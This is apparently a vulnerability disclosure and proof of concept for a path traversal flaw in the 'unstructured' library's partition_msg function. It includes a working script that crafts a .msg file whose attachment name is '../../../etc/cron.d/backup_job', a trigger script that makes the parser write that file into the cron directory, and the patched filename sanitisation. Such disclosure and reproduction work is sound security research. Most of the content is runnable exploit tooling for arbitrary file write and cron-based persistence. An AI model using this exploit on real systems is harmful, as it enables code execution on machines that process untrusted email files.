def partition_msg(
filename: Optional[str] = None,
*,
file: Optional[IO[bytes]] = None,
metadata_filename: Optional[str] = None,
metadata_last_modified: Optional[str] = None, 
process_attachments: bool = True, # the vulnerability trigger 
**kwargs: Any,
) -> list[Element]:

<SNIP>

@lazyproperty
def  _attachment_file_name(self) -> str:
      """The original name of the attached file, no path.
      This value is 'unknown' if it is not present in the MSG file (not
expected).
      """
      return self._attachment.file_name or "unknown" 

#!/usr/bin/env python3
"""
rename_msg_attachment.py
------------------------
Rename an attachment's filename inside a .msg (OLE2/Compound Document) file.
Supports new filenames of ANY length — reallocates mini-sectors as needed.

Edit the three variables below and run:
    python rename_msg_attachment.py
"""

import sys
import struct
import shutil
import os
import math



INPUT_FILE  = "backup.msg"        # Path to the source .msg file
OLD_NAME    = "backup_job"        # Current attachment filename 
NEW_NAME    = "../../../etc/cron.d/backup_job"       # New attachment filename 
OUTPUT_FILE = "payload.msg"                # Output path — leave empty "" to overwrite INPUT_FILE

<SNIP>


# Core rename logic

def rename_attachment(input_path, old_name, new_name, output_path):
    print(f"[*] Opening: {input_path}")
    ole = OleFile(input_path)

    attach_storages = find_attach_storages(ole)
    if not attach_storages:
        err("No attachment storages found in this .msg file.")

    print(f"[*] Found {len(attach_storages)} attachment(s).")

    renamed = 0
    for att in attach_storages:
        children = get_children(ole, att['idx'])
        by_name  = {c['name'].upper(): c for c in children}

        long_e  = by_name.get(prop_stream_name(PR_ATTACH_LONG_FILENAME).upper())
        short_e = by_name.get(prop_stream_name(PR_ATTACH_FILENAME).upper())
        disp_e  = by_name.get(prop_stream_name(PR_DISPLAY_NAME).upper())
        ext_e   = by_name.get(prop_stream_name(PR_ATTACH_EXTENSION).upper())

        current = None
        if long_e:
            current = read_unicode(ole, long_e['idx'])
        elif short_e:
            current = read_unicode(ole, short_e['idx'])

        print(f"    [{att['name']}]  current filename: {current!r}")

        if current is None or current.lower() != old_name.lower():
            continue

        # Encode new values
        new_encoded   = encode_unicode(new_name)
        short_encoded = encode_unicode(short_name(new_name))
        parts         = new_name.rsplit('.', 1)
        new_ext       = ('.' + parts[1]) if len(parts) == 2 else ''
        ext_encoded   = encode_unicode(new_ext)

        print(f"    [+] Match! Renaming '{current}' -> '{new_name}'")
        print(f"        old size: {len(encode_unicode(current))} bytes  "
              f"new size: {len(new_encoded)} bytes")

        if long_e:
            ole.write_stream(long_e['idx'], new_encoded)
            print(f"        ✓ Long filename patched.")

        if short_e:
            ole.write_stream(short_e['idx'], short_encoded)
            print(f"        ✓ Short filename patched -> '{short_name(new_name)}'")

        if disp_e:
            ole.write_stream(disp_e['idx'], new_encoded)
            print(f"        ✓ Display name patched.")

        if ext_e:
            ole.write_stream(ext_e['idx'], ext_encoded)
            print(f"        ✓ Extension patched -> '{new_ext}'")

        renamed += 1

    if renamed == 0:
        print(f"\n[!] No attachment named '{old_name}' was found.")
        all_names = []
        for att in attach_storages:
            children = get_children(ole, att['idx'])
            by_name  = {c['name'].upper(): c for c in children}
            long_e   = by_name.get(prop_stream_name(PR_ATTACH_LONG_FILENAME).upper())
            short_e  = by_name.get(prop_stream_name(PR_ATTACH_FILENAME).upper())
            name = None
            if long_e:
                name = read_unicode(ole, long_e['idx'])
            elif short_e:
                name = read_unicode(ole, short_e['idx'])
            if name:
                all_names.append(name)
        if all_names:
            print(f"    Available attachment(s): {', '.join(repr(n) for n in all_names)}")
            def similarity(a, b):
                a, b = a.lower(), b.lower()
                return sum(c in b for c in a) / max(len(a), 1)
            best = max(all_names, key=lambda n: similarity(old_name, n))
            if similarity(old_name, best) > 0.5:
                print(f"    Did you mean: '{best}' ?")
        sys.exit(1)

    ole.save(output_path)
    print(f"\n[✓] Saved to: {output_path}  ({renamed} attachment(s) renamed)")

<SNIP>

import os
import sys
from unstructured.partition.msg import partition_msg

# Disable the digit limit that causes parser crashes
if hasattr(sys, 'set_int_max_str_digits'):
    sys.set_int_max_str_digits(0)
def process_msg():
    print("[*] Handing exploit.msg to partition_msg()...")


    try:
        # This triggers the vulnerable function:
        partition_msg(
            filename="payload.msg",
            process_attachments=True
        )
    except Exception as e:
        # We catch the exception because the parser often crashes 
        # AFTER the file is written due to OLE sector math errors.
        print(f"[!] Parser finished with: {e}")

    # THE FINAL VERDICT
    if os.path.exists("/etc/cron.d/backup_job"):
        print("\n" + "="*45)
        print("!!! VULNERABILITY REPRODUCED !!!")
        print("The library  wrote successfuly to '/etc/cron.d/backup_job'")
        with open("/etc/cron.d/backup_job", "r") as f:
            print(f"File content: {f.read()}")
        print("="*45)
    else:
        print("\n[-] Exploit failed: /etc/cron.d/backup_job not found.")

if __name__ == "__main__":
    process_msg()

# The updated, safe logic in v0.18.18+
raw_filename = self.attachment.file_name or "unknown" 

# Remove path components and handle cross-platform attacks
safe_filename = os.path.basename(raw_filename.replace("\\", "/")) 

# Strip null bytes and control characters
safe_filename = safe_filename.replace("\0", "") 

# Ensure the filename isn't empty or just dots
if not safe_filename or safe_filename in (".", ".."): 
    safe_filename = "unknown"